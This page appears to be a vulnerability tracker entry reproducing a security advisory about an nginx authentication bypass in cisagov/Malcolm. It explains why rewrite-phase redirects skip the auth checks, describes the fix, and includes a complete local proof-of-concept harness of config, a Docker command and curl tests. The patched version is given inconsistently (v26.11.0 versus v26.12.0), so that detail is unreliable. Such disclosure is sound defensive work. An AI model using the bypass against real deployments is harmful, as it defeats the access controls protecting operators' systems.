CVE-2026-133567: cisagov/Malcolm Auth Bypass

CVE-2026-133567

NVD

Vulnerability Summary

Summary The fix shipped for GHSA-7j32-cf27-cp6h added `include /etc/nginx/nginx_auth_rt.conf;` to two nginx locations (`/iddash2ark/(.)` and `/dashboards/app/extracted-files/(.)`), but both locations also contain a `rewrite ... redirect;` directive in the same block. Because nginx executes rewrite-phase directives before access-phase directives regardless of their order in the config file, the added authentication check never runs: both locations issue their redirect identically whether valid credentials, invalid credentials, or no credentials at all are supplied. The locations are unauthenticated today, on current main, exactly as before the fix. During triage the maintainers found the same pattern in more locations than the two above. `/idark2dash` with the default OpenSearch Dashboards backend carries it in `nginx_idark2dash_rewrite_dashboards.conf`, and `/dashboards/app/netbox/` carries it in `nginx_netbox_location.conf`. `nginx_readonly.conf` has its own copies of all four, where `limit_except GET` on the NetBox pivot is bypassed the same way. The Kibana-backend redirects described in the companion report (SUBMIT-MALCOLM-001) are fixed alongside these. Details nginx processes a request through a fixed sequence of phases: `POST_READ`, `SERVER_REWRITE`, `FIND_CONFIG`, `REWRITE`, `POST_REWRITE`, `PREACCESS`, `ACCESS`, `POST_ACCESS`, `TRY_FILES`, `CONTENT`. `rewrite` and bare `return` (`ngx_http_rewrite_module` directives) run in the `REWRITE` phase. `auth_basic` (and the equivalent LDAP/Keycloak mechanisms `nginx_auth_rt.conf` resolves to) run in the `ACCESS` phase, which is strictly later. This is independent of the directives' textual order inside a `location` block — the phase engine decides execution order, not the config file. The same applies to `limit_except` and `allow`/`deny`, which are also access-phase checks. The two locations the GHSA-7j32-cf27-cp6h fix touched both combine the two: # /iddash2ark/(.) -- nginx/nginx.conf:258-265 location ~ /iddash2ark/(.) { include /etc/nginx/nginx_auth_rt.conf; set $forwarded_scheme $scheme; if ($http_x_forwarded_proto = 'https') { set $forwarded_scheme https; } rewrite (?i)^./iddash2ark/(.) $forwarded_scheme://$host/arkime/sessions?expression=($1) redirect; } # /dashboards/app/extracted-files/(.) -- nginx/nginx.conf:193-200 location ~ ^/dashboards/app/extracted-files/(.) { include /etc/nginx/nginx_auth_rt.conf; set $forwarded_scheme $scheme; if ($http_x_forwarded_proto = 'https') { set $forwarded_scheme https; } rewrite (?i)^/dashboards/app/extracted-files/(.) $forwarded_scheme://$host/extracted-files/$1 redirect; } In both, the `rewrite ... redirect` fires in the `REWRITE` phase and finalizes the request (sends the 302, closes it out) before the `ACCESS` phase — where the included `auth_basic` lives — is ever reached. The `include` is not dead code in the sense of unreachable config; it's config that is reached but whose runtime effect never executes for this request, because the request is already finished by the time nginx would get to it. This was confirmed as nginx's actual behavior, not specific to Malcolm's config, with a minimal isolated control: a bare `location` containing only `auth_basic` + `auth_basic_user_file` + `return 200` returns `200` with no `WWW-Authenticate` challenge — `return`, like `rewrite ... redirect`, is a rewrite-phase directive and triggers the identical bypass. A second control in the same harness — `auth_basic` ahead of a content-phase directive (`proxy_pass`, not `return`/`rewrite`) in an otherwise identical location — correctly returned `401` without credentials and `502` (upstream unreachable, auth passed) with valid credentials, confirming `auth_basic` itself behaves exactly as expected and the bypass is specific to pairing it with a rewrite-phase directive in the same block. Because `nginx/nginx.conf` has no `server_name` directive at all, the server block is nginx's default catch-all for any Host header, so `$host` in both redirect targets reflects whatever Host header the request carried. This does not give an open redirect against other users. A client can only forge the Host header on its own request, so the redirect it gets back points wherever that same client asked, and there is no shared cache in front of Malcolm's nginx that could serve the forged response to someone else. Attack prerequisites: network reach to the nginx reverse proxy. No account, no session, no header forgery required — reproduces identically with no credentials, with valid credentials, and with invalid credentials. The bypass applies in basic, LDAP and Keycloak modes alike, since Keycloak's check is an `access_by_lua_block`, which is also access-phase. Remediation An `include`+`rewrite ... redirect` combination in the same location can never enforce access-phase authentication in nginx, regardless of directive order. The fix follows the reporter's first suggested option. Each affected location keeps its auth include and replaces the redirect with a content-phase handoff to a named location that holds the original `set`/`if`/`rewrite` lines unchanged: location ~ /iddash2ark/(.) { include /etc/nginx/nginx_auth_rt.conf; content_by_lua_block { return ngx.exec("@iddash2ark_pivot") } } location @iddash2ark_pivot { set $forwarded_scheme $scheme; if ($http_x_forwarded_proto = 'https') { set $forwarded_scheme https; } rewrite (?i)^./iddash2ark/(.) $forwarded_scheme://$host/arkime/sessions?expression=($1) redirect; } The `CONTENT` phase comes after `ACCESS`, so authentication runs first, and clients can't request named locations directly. Keeping the original `rewrite` preserves nginx's escaping of the captured expression, so pivot links behave as they did before for authenticated users. On the other suggested options: an `error_page` internal redirect to an `auth_request`-gated location only helps if that location doesn't itself send the redirect with `rewrite` or `return`, since its own rewrite phase would again run before its own access phase. The third option has the Lua ordering reversed. `rewrite_by_lua_block` runs at the end of the `REWRITE` phase, after the rewrite module's own directives, unless `rewrite_by_lua_no_postpone` is enabled, so a Lua check placed there would still run after the `rewrite` fires. The report rightly points out that this is the second fix in this area to land without a regression test. The fix adds `shared/tests/test_nginx_auth_phase_order.py`. It parses the nginx configuration statically, including every alternative of the `*_rt.conf` runtime links, and fails on any gated location that answers in the rewrite phase or any location in a user-facing server with no authentication gate. The second check covers the Kibana-backend files from the companion report. Proof of concept No file attachment was available on this form, so the full harness is inlined below. This is the same harness used in the companion report (SUBMIT-MALCOLM-001), since both findings live in the same nginx.conf — build it once and both reproduce. Create this directory layout locally: poc/ nginx.conf harness/ idark2dash_rewrite_kibana.conf dashboards_rewrite_kibana.conf idark2dash_rewrite_dashboards_control.conf nginx_auth_basic.conf htpasswd (generated, see step 1) poc.sh poc/nginx.conf (standalone nginx config; the `location` blocks are copied verbatim from `cisagov/Malcolm` at HEAD `c6160d8e`, 2026-10-29 — only the `include` paths were rewritten from `/etc/nginx/...` to `/harness/...` so they resolve inside this standalone container): worker_processes 1; events { worker_connections 64; } http { default_type application/octet-stream; map $arg_x $dashboards_proxy_url { default "https://kibana.example.org:5601"; } map $arg_x $dashboards_prefix { default ""; } server { listen 8080; location ~ /idark2dash_control(.) { set $filter_start_time now-1d; set $filter_stop_time now; set $filter_field undefined; set $filter_value undefined; set $sessions_index "sessions2-"; include /harness/idark2dash_rewrite_dashboards_control.conf; } location ~ /idark2dash(.) { set $filter_start_time now-1d; if ($arg_start != '') { set $filter_start_time '$arg_start'; } set $filter_stop_time now; if ($arg_stop != '') { set $filter_stop_time '$arg_stop'; } set $filter_field undefined; if ($arg_field != '') { set $filter_field $arg_field; } set $filter_value undefined; if ($arg_value != '') { set $filter_value $arg_value; } set $sessions_index "sessions2-"; include /harness/idark2dash_rewrite_kibana.conf; } location /dashboards { include /harness/dashboards_rewrite_kibana.conf; } # Finding under THIS report -- verbatim from nginx/nginx.conf # (current HEAD, c6160d8e, 2026-10-29): /iddash2ark/(.), the location # GHSA-7j32-cf27-cp6h's fix added the auth include to. The include is present # but never reached: `rewrite ... redirect` runs in nginx's REWRITE phase, # which executes before the ACCESS phase where auth_basic (nginx_auth_rt.conf) # runs, regardless of directive order in the block. location ~ /iddash2ark/(.) { include /harness/nginx_auth_basic.conf; set $forwarded_scheme $scheme; if ($http_x_forwarded_proto = 'https') { set $forwarded_scheme https; } rewrite (?i)^./iddash2ark/(.) $forwarded_scheme://$host/arkime/sessions?expression=($1) redirect; } # Clean control for THIS report -- auth_basic ahead of a CONTENT-phase # directive (proxy_pass), not a rewrite-phase one. Confirms auth_basic itself # behaves normally when the location's sink isn't a rewrite/return, and that # the bypass above is specific to pairing auth_basic with rewrite/return. location /auth_control_clean { include /harness/nginx_auth_basic.conf; proxy_pass http://127.0.0.1:19999/; } } } poc/harness/idark2dash_rewrite_kibana.conf (unrelated to this report's finding, but required for nginx.conf above to load — copied verbatim from the repo; see companion report SUBMIT-MALCOLM-001 for what it demonstrates): rewrite (?i)^./idark2dash/(.) $dashboards_proxy_url/app/dashboards#/view/0ad3d7c2-3441-485e-9dfe-dbb22e84e576?_g=(refreshInterval:(pause:!t,value:0),time:(from:$filter_start_time,to:$filter_stop_time))&_a=(filters:!((meta:(alias:!n,disabled:!f,index:'$sessions_index',key:$filter_field,negate:!f,params:(query:'$filter_value'),type:phrase),query:(match_phrase:($filter_field:'$filter_value')))))? redirect; poc/harness/dashboards_rewrite_kibana.conf (also unrelated to this report; required for nginx.conf to load): rewrite ^/dashboards/(.) $dashboards_proxy_url/$1 redirect; poc/harness/idark2dash_rewrite_dashboards_control.conf (verbatim from the repo's `nginx_idark2dash_rewrite_dashboards.conf`, apart from the include path). Despite its name in this harness, this file has the same auth-include-plus-redirect shape as `/iddash2ark` and is affected in the same way. In this harness the `/idark2dash_control` location appears to enforce auth only because the rewrite pattern `^./idark2dash/` doesn't match a `/idark2dash_control/...` path, so no redirect fires and the request reaches the access phase. In Malcolm it is included from `/idark2dash(.)`, where the pattern matches and the redirect is sent without authentication. include /harness/nginx_auth_basic.conf; set $forwarded_scheme $scheme; if ($http_x_forwarded_proto = 'https') { set $forwarded_scheme https; } rewrite (?i)^./idark2dash/(.) $forwarded_scheme://$host$dashboards_prefix/app/dashboards#/view/0ad3d7c2-3441-485e-9dfe-dbb22e84e576?_g=(filters:!(),refreshInterval:(pause:!t,value:0),time:(from:$filter_start_time,to:$filter_stop_time))&_a=(description:'',filters:!((meta:(alias:!n,disabled:!f,index:'$sessions_index',key:$filter_field,negate:!f,params:(query:'$filter_value'),type:phrase),query:(match_phrase:($filter_field:'$filter_value')))),fullScreenMode:!f,options:(useMargins:!t),query:(language:lucene,query:''),timeRestore:!f,viewMode:view) redirect; poc/harness/nginx_auth_basic.conf (minimal stand-in for `nginx_auth_rt.conf`'s basic-auth mode — the mechanism this report's finding bypasses): auth_basic "Authentication Required"; auth_basic_user_file /harness/htpasswd; poc/poc.sh (test script, this report's relevant portion): #!/usr/bin/env bash set -euo pipefail : "${BASE_URL:?set BASE_URL, e.g. http://127.0.0.1:18080}" echo "=== /iddash2ark/testexpr -- WITHOUT credentials ===" echo " (has the auth include; expect it to be bypassed -- a 302, not a 401)" curl -s -i "$BASE_URL/iddash2ark/testexpr" | head -6 echo echo "=== /iddash2ark/testexpr -- WITH credentials ===" echo " (any username/password; expect an IDENTICAL response to the no-credentials" echo " case above, proving auth_basic has no effect)" curl -s -i -u "irrelevant:irrelevant" "$BASE_URL/iddash2ark/testexpr" | head -6 echo echo "=== control: /auth_control_clean -- auth_basic ahead of a content-phase" echo " directive (not rewrite/return), no credentials (expect: 401 -- proves" echo " auth_basic itself works, and the bypass above is specific to pairing it" echo " with a rewrite)" curl -s -i "$BASE_URL/auth_control_clean" | head -6 1. Build the harness: printf 'testuser:%s\n' "$(openssl passwd -apr1 testpass)" > poc/harness/htpasswd docker run --rm -d --name malcolm-poc -p 18080:8080 \ -v "$(pwd)/poc/nginx.conf:/etc/nginx/nginx.conf:ro" \ -v "$(pwd)/poc/harness:/harness:ro" \ nginx:alpine 2. Run the PoC: chmod +x poc/poc.sh BASE_URL=http://127.0.0.1:18080 ./poc/poc.sh 3. Observed (abbreviated to the tests relevant to this report): GET /iddash2ark/testexpr (no credentials) -> HTTP/1.1 302 Location: http://127.0.0.1/arkime/sessions?expression=(testexpr) GET /iddash2ark/testexpr -u irrelevant:irrelevant (wrong credentials) -> HTTP/1.1 302, byte-identical GET /iddash2ark/testexpr -u testuser:testpass (valid credentials) -> HTTP/1.1 302, byte-identical GET /auth_control_clean (no credentials) -> HTTP/1.1 401 (control) Reproduced deterministically across repeated runs with no credentials, valid credentials, and wrong credentials — all three produce the same 302. All testing was performed against a local, standalone nginx container running verbatim config content copied from the public repository. No Malcolm deployment, hosted, demo, or third-party instance was contacted at any point. Impact Affects these locations, in `nginx.conf` and again in `nginx_readonly.conf`, in any authentication mode: - `/iddash2ark/` - `/dashboards/app/extracted-files/` - `/idark2dash/` with the OpenSearch Dashboards backend - `/dashboards/app/netbox/` when NetBox is enabled This is the same shape of bypass as the companion report, on locations the vendor's own very recent fix specifically intended to gate. The redirect targets (`/arkime/sessions?expression=...`, `/extracted-files/...`, the Dashboards sessions view, `/netbox/...`) are themselves separately, correctly gated locations, so this is not by itself a full bypass to raw backend data — a browser following the redirect would still need to authenticate against the target location. The redirect reflects only input the requester supplied, so an unauthenticated caller learns nothing from it. The concrete, demonstrated impact is that an authentication requirement the vendor's own recent fix was specifically intended to add is not actually in effect. CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) CWEs: CWE-306 Affected packages: - /cisagov/Malcolm <= v26.10.0 Patched versions: - /cisagov/Malcolm v26.11.0 Credits: https://github.com/cisagov/Malcolm/security/advisories/GHSA-93g5-g9r5-g78w
Severity Level
MEDIUM(5.3)
Published Date
Dec 4, 2026
Last Modified
Dec 4, 2026
Exploitation Status
Public exploit available
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
CVSS v3.1 Base Metrics — Score 5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityLow
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • cisagov/Malcolm <= v26.10.0
Patched Versions
  • cisagov/Malcolm v26.12.0

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run cisagov/Malcolm and which version.
  2. Update to a patched version listed above, then confirm the new version.
  3. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Dec 4, 2026Published
  • Dec 4, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new cisagov/Malcolm CVEsYou are reading CVE-2026-133567. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Dec 5, 2026 02:01 UTC